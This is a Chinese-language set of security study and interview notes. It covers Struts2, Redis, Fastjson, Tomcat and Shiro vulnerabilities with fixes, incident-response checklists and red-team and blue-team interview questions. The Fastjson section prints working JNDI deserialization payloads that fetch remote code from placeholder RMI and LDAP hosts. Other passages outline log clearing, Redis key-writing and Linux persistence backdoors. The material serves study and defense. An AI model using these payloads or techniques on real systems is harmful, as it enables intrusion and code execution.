  建议用户到官方获取最新补丁或者最新版本程序。

  或者将struts.properties中的devMode设置为false,或是在struts.xml中添加如下代码: <constant name=”struts.devMode”value=”false”/>。

Apache Struts2 远程代码执行漏洞(S2-045)

  漏洞描述

  Apache Struts2的Jakarta Multipartparser插件存在远程代码执行漏洞,漏洞编号为CVE-2017-5638。攻击者可以在使用该插件上传文件时,修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程执行代码。

  修复建议

  检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞。

  1、建议用户到官方获取最新补丁或者最新版本程序。

  2、更新至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。

  3、临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。

  4、修改WEB-INF/classes目录下的配置

  在WEB-INF/classes目录下的struts.xml中的struts 标签下添加

  <constantname=”struts.custom.i18n.resources”value=”global”/>;

  在WEB-INF/classes/目录下添加global.properties,文件内容如下:

  struts.messages.upload.error.InvalidContentTypeException=1

Apache Struts2 远程代码执行漏洞(S2-033)

  漏洞描述

  Apache Struts2在开启动态方法调用(DynamicMethod Invocation)的情况下,攻击者使用REST插件调用恶意表达式可以远程执行代码。

  修复建议

  1、用户到官方获取最新补丁或者最新版本程序。

  2、或者在允许的情况下禁用动态方法调用(Dynamic Method Invocation),修改Struts2的配置文件struts.xml,将struts.enable.DynamicMethodInvocation设置为“false”。

3.Redis漏洞相关

Port:6379

如何判断:用工具

是一个典型的非关系型数据库,可以作为消息中间件使用

概述:Redis 是一个高性能的key-value数据库

官方:https://redis.io/

漏洞:未授权访问

Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。

原因:

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

1.redis未授权访问

漏洞描述

redis默认没有口令可能会造成未授权访问造成信息泄露,若redis为高权限账户运行,可能导致服务器权限丢失等。

2.危害

数据库数据泄露
Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等。
代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行
一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的。
通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫。

3.安全建议

1.禁用一些高危命令

  常见如:flushdb,flushall,config,keys 等

2.以低权限运行 Redis 服务

3.为 Redis 添加密码验证

4.禁止外网访问 Redis

5.保证 authorized_keys 文件的安全

Redis未授权访问漏洞是一个出现广泛并且危害巨大的漏洞,会直接导致整个服务器沦陷,要预防则需要做到:

(1)禁止使用 root 权限启动 redis 服务;
(2)对 redis 访问启用密码认证,尤其不能使用空密码;
(3)添加 IP 访问限制;
(4)尽可能不对公网直接开放 SSH 服务。

4.Alibaba Fastjson 系列漏洞

Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它也可以用于将JSON字符串转换为等效的Java对象。Fastjson可以与任意Java对象一起使用,包括您没有源代码的预先存在的对象。

Github:https://github.com/alibaba/fastjson

修复建议:升级高版本

反序列化基础知识

可学习大佬文章:https://xz.aliyun.com/t/7079

反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
RMI是一种行为,指的是Java远程方法调用。
JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
ldap指轻量级目录访问协议。

Fastjson 反序列化漏洞 <=1.2.24

exp

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

fastjson<=1.2.41

漏洞描述

第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
exp:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

fastjson<=1.2.42

fastjson在1.2.42版本新增了校验机制。

if ((((BASIC
    ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    if ((((BASIC
        ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME == 0x9195c07b5af5345L)
    {
        throw new JSONException("autoType is not support. " + typeName);
    }
    // 9195c07b5af5345
    className = className.substring(1, className.length() - 1);
}

如果输入类名的开头和结尾是L和;就将头和尾去掉,再进行黑名单验证。
还把黑名单的内容进行了加密,防止安全人员进行研究,增加了研究的门槛。
但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
绕过方法,在类名外部嵌套2层L;。
原类名:com.sun.rowset.JdbcRowSetImpl
绕过: LLcom.sun.rowset.JdbcRowSetImpl;;
exp:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

fastjson<=1.2.43

fastjson在1.2.43中checkAutoType()函数增加判断开头为LL直接报错。
绕过方法:根据fastjson判断函数,[开头则提取类名,且后面字符字符为”[“、”{“等,即可正常调用。
exp

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

fastjson<=1.2.45

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单
由于在项目中使用的频率也较高,所以影响范围较大。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

fastjson<=1.2.47

去年护网爆出的漏洞,对版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。
loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制。
exp:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://x.x.x.x:1098/jndi", 
        "autoCommit": true
    }
}

fastjson<=1.2.62

基于黑名单绕过

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

fastjson<=1.2.66

关于fastjson<=1.2.66网上相关的利用不多,收集到的几个exp,也是基于黑名单绕过。
exp:

5.Apache Tomcat 系列漏洞

Port:8080

Tomcat文件包含漏洞 CVE-2020-1938

漏洞描述

2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议(该协议工作在8009端口)存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件,如:webapp 配置文件或源代码等。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。

安全建议

  1. 升级高版本或打补丁
  2. 禁用AJP,如果用不上这个,可以改为监听本地。
  3. 添加凭证:如若需要使用AJP协议,可根据当前版本配置协议属性设置认证凭证,主要使用配置AJP配置中的secretRequired跟secret属性来限制认证

6.Apache Shiro 系列漏洞

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

1、Shiro rememberMe反序列化漏洞(Shiro-550)

原理:Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

特征判断:返回包中包含rememberMe=deleteMe字段。

2、Shiro Padding Oracle Attack(Shiro-721)

原理:由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

7.Microsoft IIS

1、PUT漏洞

2、短文件名猜解

3、远程代码执行

4、解析漏洞

8.Apache

1、解析漏洞

2、目录遍历

9.Nginx

1、文件解析

2、目录遍历

3、CRLF注入

4、目录穿越

10.Jboss

1、反序列化漏洞

2、war后门文件部署

11.其它中间件

1、FastCGI未授权访问、任意命令执行

2、PHPCGI远程代码执行

Cx 应急响应 Security Response Center

1.进程 netstat -an

2.端口 ps

3.服务 etc/init.d

4.远程登入 whoamifuck2 /var/log/auth.log lastb last

5.计划任务 crontab

6.日志文件 /var/log/ more /etc/rsyslog.conf 可按需所查 eventvwr.msc 中间件的日志

7.历史命令

8.系统状态

Dx 流量分析 Flow Analysis

ARP欺骗

原理:

每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。

在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能

防护

1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC

2.在网关绑定主机MAC与IP地址

3.使用ARP防火墙

Wireshark使用

Ex 面试整合 The interview summary

知道创宇研发技能表 http://blog.knownsec.com/Knownsec_RD_Checklist/

hvv行动的,分为初、中、高级,蓝队和红队

蓝队 | Blue Team


📌SSRF 和 CSRF

SSRF 攻击者利用服务器伪造URL请求发送给用户 。指的是由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务
CSRF 攻击者利用客户端的Cookie伪造用户请求服务器
防范:服务器端对用户的URL和身份进行检查

📌XSS

原理:用户的输入被浏览器解析成了网页代码 防范: 转义关键字,过滤特殊字符
类型 反射、存储、DOM

📌SQLi

原理:用户的输入被数据库解析器当作了sql语句并执行 防范:转义关键字,过滤特殊字符
类型 Boolean、Time、报错[floor()]
绕过[bypass] 大小写、双写、内联注释、空格 ++ 思路:对一些特殊字符识别一下,看一下哪些字符没有被截断,然后用工具fuzz一下,跑出库名来

📌常见的中间件漏洞

Struts2远程代码执行
Jboss反序列化漏洞
Weblogic 反序列化漏洞 利用T3协议
Monodb 未授权访问

📌常见的网站服务器容器中间件及漏洞

IIS
PUT漏洞、短文件名猜解、远程代码执行、解析漏洞
Apache
解析漏洞、目录遍历
Nginx
文件解析、目录遍历、CRLF注入、目录穿越
Tomcat
远程代码执行、war后门文件部署
JBoss
反序列化漏洞、war后门文件部署
WebLogic
反序列化漏洞
SSRF任意文件上传
war后门文件部署
Apache Shiro反序列化漏洞
Shiro rememberMe(Shiro-550)
Shiro Padding Oracle Attack(Shiro-721)

📌拿到一个待检测的站,你觉得应该先做什么?

信息收集
a、获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。用邮箱做关键词进行丢进搜索引擎。利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。社工找出社交账号,里面或许会找出管理员设置密码的习惯 。利用已有信息生成专用字典。
b、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
c、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
d、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
e、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
f、google hack 进一步探测网站的信息,后台,敏感文件

漏洞扫描
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

漏洞利用
利用以上的方式拿到webshell,或者其他权限

权限提升
提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权

日志清理
history -c

📌如果收到一个钓鱼、含木马的邮件,怎么办?

抑制:把邮件的附件下载到虚拟机,然后丢到沙箱里分析。
溯源:使用SenderPolicy Framework去查看发件人的IP地址,他其实就是一个DNS的TXT记录。
Linux:dig -t txt email
Windows:nslookup -type=txt email
查看SPF记录,然后使用邮件发邮件,如果发件人的源IP不在IP列表,那么说明这是一封伪造邮件。
使用DKIM,这是一个数字签名技术,可以通过DNS查询得到公开密钥进行验证,验证不通过,可以判断为垃圾邮件。

📌SQLmap如何跑POST类型?

首先,手工判断一下,查出数据库,然后用Burpsuite抓包,获取到id=1

然后,右键,copy to file 保存为txt文件

再使用sqlmap -r txt文件

爬出来就可以用payload获取到数据库 –dbs 表 –tables 列 –columns 内容 –dump

📌蜜罐的原理是什么?

通过软件的默认安装目录。

探雾hw面试题

[

📌xss原理?存储型xss如何利用?

XSS 类型
Dom(Self-XSS) 存储型 反射型

📌存储型XSS怎么利用?

XSS攻击的原理是通过修改或者添加页面上的JavaScript恶意脚本,在浏览器渲染页面的时候执行该脚本,从而实现窃取COOKIE或者调用Ajax实现其他类型的CSRF攻击

📌CORS(浏览器同源策略)

js =>ajax 去请求其他网站的东西

test.com 根据浏览器的CORS策略 他只能在test.com里面请求东西

test.com 调用ajax 去访问 xxxx.com assdasd.test.com 如果目标的CORS头 默认不放行test.com 这样 test.com 的ajax请求就不会访问其他网站

📌存储xss如何利用

利用的方式比较多 因为存储xss 可以控制页面js的渲染 我们用js可以实现很多东西

可以让手机振动

返回劫持

拍照 截屏

📌渗透测试流程

  1. 信息搜集
  2. 分析信息
  3. 绘制思维导图 分析资产
  4. 对业务的逻辑点进行逻辑漏洞测试
  5. 对其身份验证功能的Token session进行测试
  6. 对其数据操作点进行注入测试
  7. 对其页面可控点进行xss测试
  8. 对其远程访问点进行SSRF测试
  9. 对其接口进行FUZZ 模糊测试
  10. 对其登录点进行弱口令测试
  11. 识别框架 弱框架有反序列化漏洞利用链 可寻找反序列化的点
  12. 对其文件上传功能进行任意文件上传测试
  13. 对其边界资产 例如gitlab jenkins 进行弱口令测试
  14. 对其现有CMS 查找相关漏洞利用工具 (exploit-db)等
  15. 对其端口进行扫描 查找其他相关服务测试
  16. .git .svn 源代码泄露 可以下载其源码文件 并且可以通过git 查看commit切换分支等等

📌入侵排查思路

明确一件事情:已经被入侵,还是正在被入侵。

已经被入侵

一、目的已经达成,木马,后门均已销毁

  1. 既然知道被入侵,定位被入侵的时间点。
  2. 如果这个服务器是云服务器,对其进行快照。(目的,封存内存。)
  3. 当定位到时间点,查设备流量信息。找到木马链接信息。
  4. 查找系统内对应的日志,找到相关线索
  5. 如果日志被删除,因为机器快照已经建立。使用Winhex 对硬盘数据进行恢复。

二、目的没有达成,数据正在回传。木马,后门均在服务器上运行。

  1. Volatility 内存取证 建立快照 提取内存 定位到shellcode 找到他的IP
  2. 如果他们使用常见的C2的工具,我们可以根据流量分析出入侵者的意图。
  3. 关闭服务器,或者在防火墙上 禁掉他们的IP。登录服务器,对shellcode进行移除。
  4. 重启以后进入安全模式,排查注册表 计划任务 服务 放大镜后门 shift后门。

正在被入侵

可能入侵者在尝试进行攻击的时候。
弱口令爆破。

  1. 弱口令爆破会产生日志,日志一定要采用远程日志系统,例如Linux的rsyslog。开启远程日志系统的好处:不怕日志被攻击者删除。

  2. 一定要找到入侵者的源IP,在防火墙下发阻断策略。。

📌weblogic redis未授权利用的是哪个端口

Weblogic 7001
redis 6379

📌常见的端口漏洞

21 ftp FTP服务端有很多 anonymous 匿名未授权访问 爆破
22 ssh root密码爆破 后门用户 可以google查一些关于ssh后门的文章 里面的默认密码 可能会登入进去
23 telnet 一般会发生在 路由器 或者交换机 嵌入式设备 管理端口 攻击方法 弱口令
25 smtp 默认用户 默认密码 邮件账号爆破
80 http web 常见的Owasp top 10 中间件反序列化 中间件溢出 fastcgi配置不当 造成fastcgi端口泄露
110 pop3 默认用户 默认密码 邮件账号爆破
443 https openssl 心脏滴血(影响范围较小) SSL/TLS低版本存在的漏洞
135 139 445 netbios smb MS17010
3389 RDP CVE-2019-0708

📌信息收集都是收集什么

资产

服务器资产
IP资产
域名资产

📌常见漏洞以及自己的见解,防护手段等

sql注入
PHP PDo Thinkphp DB class 操作类 来预处理sql语句 这样可以避免sql注入攻击
使用类型判断函数 判断输入的类型是否为需要的类型

📌发现客户被传了webshell如何处置

1.如何发现的?
特征PHP:PHP的危险函数,exec eval assert([左尖括号]php7.4) create_function call_user_func system exec shell_exec
冰蝎的 openssl_decrypt
PHP木马关键的函数
2. webshell都干了些什么 该查些什么日志
adminer.php 在/tmp、目录下有adminer的临时文件。(PHP单文件Mysql 管理工具 )
nginx 日志 中间件日志 根据木马的名字查 继续再往上 找木马上传点
PHP-fpm的日志 绕过disable_function 进行提权 使用GC bypass等 PHPFPM日志会有痕迹的
mysql的 二进制日志 确定攻击者在攻击服务器的时候执行过什么语句。

ps:如果中了一个免杀的webshell,日志被删除,所有的工具都查杀不出来,该怎么办
使用Winhex 恢复

📌获得了攻击者的ip如何进行溯源,获取攻击者的个人信息

攻击者的IP是什么,IP的信息
www.ipip.net
根据IP地址 判断地址范围
直接进行扫描 先常规渗透手段。我们可以联系机房 对机房进行社工。可能会得到一些有用的信息

常规的渗透手段 ,可能入侵比较菜。

红队比较菜,在自己的服务器上搭建渗透测试靶机。上面有文件上传功能。直接getshell

可能被蓝队反打

红队利用自己博客等服务器 进行攻击。这样ip反查域名 能得到攻击人员的花名(ID) 靠自己关系 找到他是谁

📌有无其他安全产品的使用经验

EVE-NG 自己百度下载 配置 安装 网络拓扑模拟器 可以模拟很多安全设备 例如F5 山石防火墙 华为的防火墙

ensp 华为模拟器 只能windows上使用

📌如果爆发了0day改如何处理

爆发0day 0day已经爆出来了 exp poc 很成熟了

  1. 收集提交得分
  2. 避免0day打到自己 ,如果有安全设备,自己写规则用于识别0day并且阻断

📌Linux下权限维持方法

  1. Crontab 定时任务 使用corntab 定时触发恶意脚本
  2. ssh 后门 进程注入 hook密码校验函数 得到管理员密码
  3. 修改管理员二进制 文件 创建软连接 使管理员在输入 ls 或者cd这种命令的时候执行我们的恶意脚本
  4. 环境变量劫持
  5. 内核后门(难度较高,需要重新编译内核并重启。优点,隐蔽性极强)
  6. pam后门
  7. /init.d/ 系统启动时默认运行的脚本

📌内网代理正向与反向

正向代理:直接可以从本机访问到对端的代理叫正向代理,通常用于目标主机前面没有防火墙,或者没有进行NAT地址转换的情况下使用

反向代理:需要一台服务器 目标主机主动向服务器进行代理连接 ,我们本机再向服务器请求与目标主机的代理连接。同城用于目标主机前有防火墙,或者有端口限制。

📌SQL注入JSON接口与白名单

json 传参 {[“0”:”'11222233333”]}"

📌redis未授权与权限获取

redis 未授权访问
6379 user_pass
可以向系统内写文件 构成一些安全威胁

  1. 写ssh私钥
  2. 写crontab 定时执行
  3. 写init.d 启动执行
  4. redis docker 启动的 可以写dockerfile

📌如何反查真实ip

fofa 互联网搜索引擎

  1. 渗透手段 例如说ssrf 使用dnslog 就可以获取真实ip
  2. 查找历史解析
  3. cloudflare github 可以获取真实IP
  4. fofa cert =”xxxx.com”
  5. http 如果 一个网站有icon 可以根据icon hash 来查找真实IP
  6. 前台不一样 css也不一样 可以根据CSS的信息 去fofa上找body对应的信息
  7. 多地ping 这个 可以查询一个url 是否是cdn 或者是否是真实IP 多地ping 只能判断是否绑定多IP 其中多IP并不一定是CDN 也有可能是服务器负载均衡
  8. nslookup 查找ns的记录 是否为cdn的记录
  9. whois 查询 域名的DNS服务器 是否是cdn的DNS服务器
  10. 如果网站有邮件功能,有可能邮件发送的地址为网站真实IP地址
    11 子域名绑定 测试子域可能回源

📌寻找webshell

  1. 自动化查找 D盾 河马 fotify
  2. 手动查找 windows sublime 全文件夹查找 IDE PHPSTORM 全局查找
    Linux 命令查找 grep -rn “eval(“ *
    webshell特征 PHP的危险函数
    还有phar [左尖括号]?php XXXXX

📌sql注入特征

1 请求里面可能会包含sql函数
2 请求里面可能带/**
3 sql占用系统资源情况要比往常多
4 sql 二进制日志里面可能会有极其异常访问information_schema表名的情况

📌sql注入利用

sqlmap 查询数据

–os-pwn 联动msf getshell

写shell
日志写shell (发篇文章)
outfile函数写shell

读文件

读管理员hash

Linux so提权 Windows UDF提权

sqlserver xp_cmd 执行命令 sqlmap –os-shell

📌SQL二级注入。

二阶注入就是无法直接注入,它时指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

一阶SQL注入:

      1;一阶SQL注入发生在一个HTTP请求和响应中,对系统的攻击是立即执行的;

      2;攻击者在http请求中提交非法输入;

      3;应用程序处理非法输入,使用非法输入构造SQL语句;

      4;在攻击过程中向攻击者返回结果。

二阶SQL注入:

      1;攻击者在http请求中提交恶意输入;

      2;恶意输入保存在数据库中;

      3;攻击者提交第二次http请求;

      4;为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;

      5;如果攻击成功,在第二次请求响应中返回结果

📌日志中看到的行为分析。

分析方法:
蚁剑 菜刀

post一个PHP的函数 这些函数可以对文件进行操作 可以对数据库进行操作
如果特征编码 例如base64 rot13 通过该种编码的解码来实现流量的解密

冰蝎

aes-128加密
在开始连接进行密钥协商的时候 抓取冰蝎流量密钥值

通过冰蝎密钥 对加密的流量进行解密在进行行为分析

📌linux下的敏感文件?

/etc/redhat-release Centos 版本号
/proc/cpuinfo CPU型号信息
/var/log/message 内核日志
/var/log/last 登录日志
/etc/sysconfig/selinux selinux状态
/etc/passwd 用户账户信息
/etc/shadow 用户密码

📌你会流量分析吗?

我会用wireshark过滤协议。

如何分析进程,有一个木马?

]

📌Linux被入侵,如何检测木马?

账号:排查账号 /etc/paswwd /etc/shadow
系统:进程、端口、服务、远程登入、计划任务、日志文件、历史命令、系统状态
进程 lsof -u root 查看用户进程 、、 fgrep ls 查看命令的进程 、、 ps -ef 查看进程 、、netstat -anp 列出所有进程
端口 netstat -a
服务 ps -aux 、 service –status-all 、 文件目录 /etc/init.d
用户登入 last、lastb、lastlog 最后一次、失败、成功的用户 工具:whoamifuck2 githuub开源shell脚本,用户入侵检测排查工具
计划任务 crontab -l
日志分析 /var/log
历史命令 /home/.bash_history 清除 -c
系统状态 top stat glances
木马查杀 chkrootkit

📌Windows中免杀马,放入到正常目录下,改了名字,修改时间,然后删除了日志,D盾也查不到,怎么办?

思路一:和备份的文件做对比,查看那些不同的文件。
思路二:用其它的工具,比如webshell在线查杀灭绝师太版本、Cloudwalker[牧云]
思路三:使用Winhex 恢复

红队 | Red Team

1、自我介绍

2、看你项目经历上有些打过hw,简单说一说?第几名啊?

3、挖过SRC吗?有cve吗?

4、最近接触过哪些漏洞?

5、看你写了会python和c,用他们干过什么?

6、打过大型内网吗,讲讲过程?(但丁yyds,讲了一些那里面的骚思路,面试官好像很满意)

7、kerberos认证过程?

8、域内攻击手法讲一下,维权这些说一下

9、Golden ticket和Sliver ticket有啥区别

10、管理员会话劫持怎么做

11、堆栈溢出具体讲一下

12、接触过云waf吗,讲讲绕过思路

13、宝塔文件上传能绕过吗?

14、免杀这些是自己写的吗?讲讲过程,卡巴内存查杀能过吗?

15、R0和R3层hook了解过吗?

16、dll劫持,进程注入讲一下过程

17、钓鱼了解过吗?除了exe还可以用什么?

18、代码审计接触过吗?(问到这感觉寄了,毕竟不会,但是嘴硬说了年后准备学一下java,面试官后面也没说什么)


  1. 任意文件上传绕过?
  2. php+mysql 有注入点,Getshell条件?
  3. redis未授权访问利用方式?
  4. ssrf+redis?
  5. xxe?
  6. psexec?
  7. 如何快速定位域控?
  8. mssql不用xp_cmdshell,如何执行命令?
  9. 黄金白银票据?
  10. windows2012之后,如何抓取密码?
  11. 拿到webshell之后,内网中如何登录3389?
  12. windows提权?

初试
漏洞原理
发现特征
利用方法
爬虫绕过封锁(绕过技术)

二面
sqlserver命令执行 orcole执行命令的方法
信息收集关注的点-然后根据你说的然后继续深入
华哥总结的那些就足够了
然后利用方法
tp5代码执行不允许上传文件要怎么做

(回答的很失败说了两个1:关掉杀软 2:是什么我忘了)
关注的漏洞点,如何识别,
漏洞原理(我说的最近的log4)
学习的来源,我说的各种论坛
一些很细枝末节的东西注入无回显(dnslog)
控制的机器不出网但是能ping到(不知道)
docker判断特征(我说的是哪个文件有没有作为判断特征)
注入绕过waf的方法(函数替换,诸如手法替换,延时,布尔,报错)
说一下项目经过哪些奇葩的洞
SQL注入回显一堆乱码。dnslog也是一堆乱码
代码审计,手机号发送验证码等待的时候才能sql注入
总结一下,主要包含命令执行的细枝末节和简单内网渗透操作命令的细枝末节
最近在学习什么(我说最近在重保,学习方面可能拉下一些,但是在学习爬虫漏洞识别这一方面)
后面就是问了一下公司上班,薪资还有接的项目,完了日常忘记问了
希望大家注意啊,骑驴找马的时候一定要下家发正式的offer了再决定动不动身


sql注入碰到过那些数据库

mysql渗透思路

如果当前ip只开放mysql如何渗透

mssql渗透思路

xp_cmdshell没有开启怎么办

sql agent提权具体细节

oracle渗透思路

oracle提权方法

如何进行信息收集扩大攻击面

如何针对同一款网站框架进行信息收集

内网如何权限维持

黄金票据和白银票据说一下具体利用过程,需要哪些条件,两者有什么不同

免杀有了解过嘛,了解过哪些windows api

钓鱼获得权限,如何横向

域渗透思路

了解过代码审计嘛

内网如何扫描存活主机,如果部署了安全产品应该怎么办

内网如何扩大攻击面

如果存在任意文件读取,你怎么利用,还有一些伪协议绕过问题,采用路由的网站如何进行任意文件读取,后缀jpg如何进行任意文件读取

xxe漏洞了解过嘛


1.不出网有什么方法,正向shell方法除了reg之类的,还有什么?
2.域内委派
3.dpapi机制说下,能干嘛4.fastjson不出网
5.shiro漏洞类型,721原理,721利用要注意什么?
7.weblogic漏洞类型都有啥,原理
8.dll劫持,dll注入
9.内网优先爆破测试的端口、为什么;如果只有3389开放,爆破3389的实际影响…

10.window2003 frp nps为神马用不了
11.钓鱼方法姿势…除了exe这种双击的,还有什么

12.redis window shell方法
13.bypass uac技巧,方法,原理

14.内存马filter shell……
15.PTH深度原理,利用条件
16.抓hash方法,有杀软抓不到尼….

17.Windows defender安全机制

18.有的时候抓到的hash不是明文为啥

19.hvv三大洞挨个说……
20.cs是否有二次开发过,cna脚本有没有写过

内网 | Intranet

📌shell无法上线,如何判断机器出网?

可以利用dns,http,icmp(ping,tracert)协议

📌 Windows系统管理员administrator的UID是多少?

500

域 | Domain

📌怎么查看域控?

net user administrator /domain

渗透安服工程师面试

滴滴 DiDi

一面:
可能我简历写的比较少,面试官似乎有些不知道问什么,尴尬了一会儿,开头自我介绍,先问了个简单的n!,然后说如果输入的n是负数呢?
之后是一道数组最大连续子数组和。
python基础类库,requests,re,爬虫的基本流程
一些基本的sql语句

二面:
xss与sql注入的基本原理与分类
xss如何防御?(分前端与后端,后端需要在入口和出口都过滤)
app客户端与服务器通信可能出现哪些漏洞问题
如何防御中间人攻击?
https的建立过程
TCP三次握手的过程以及对应的状态转换
app客户端破解的大致流程,app解包后文件夹的基本结构
对称加密与非对称加密的不同,分别用在哪些方面
DDOS的攻击,说道syn洪流的原理
ddos的防御
滴滴客户端可能存在哪些逻辑漏洞

三面:
三面面试官感觉比较和蔼,上来先问平时干什么,我说玩游戏,然后说到lol,问我啥段位,我说白银。然后问我为什么段位低,我说一般打得少,基本都是开黑打匹配。
然后问了一些其他的生活问题。
后来看我简历上写了关于操作系统的,于是问我操作系统各个设备模块间的关系。当时有点蒙,就和他说了下操作系统启动的大致流程,从保护模式开启开始讲,因为实模式阶段记得不是很清楚。因为没想到三面会问我技术,后来想了想,问的意思可能是说设备栈之间数据流从上到下一层层处理的过程。

阿里 Alibaba

1.FAQ
  1. 在阿里巴巴春招(实习生)中, 我会被面试几轮? 面试轮数越多越好吗?

技术岗面试流程一般是 技术面+HR面
偶尔在HR面后还会有技术面

先看一个图, 是2017年(18届)阿里非官方Offer群里的一个投票.
可以发现面试轮数呈正态分布.
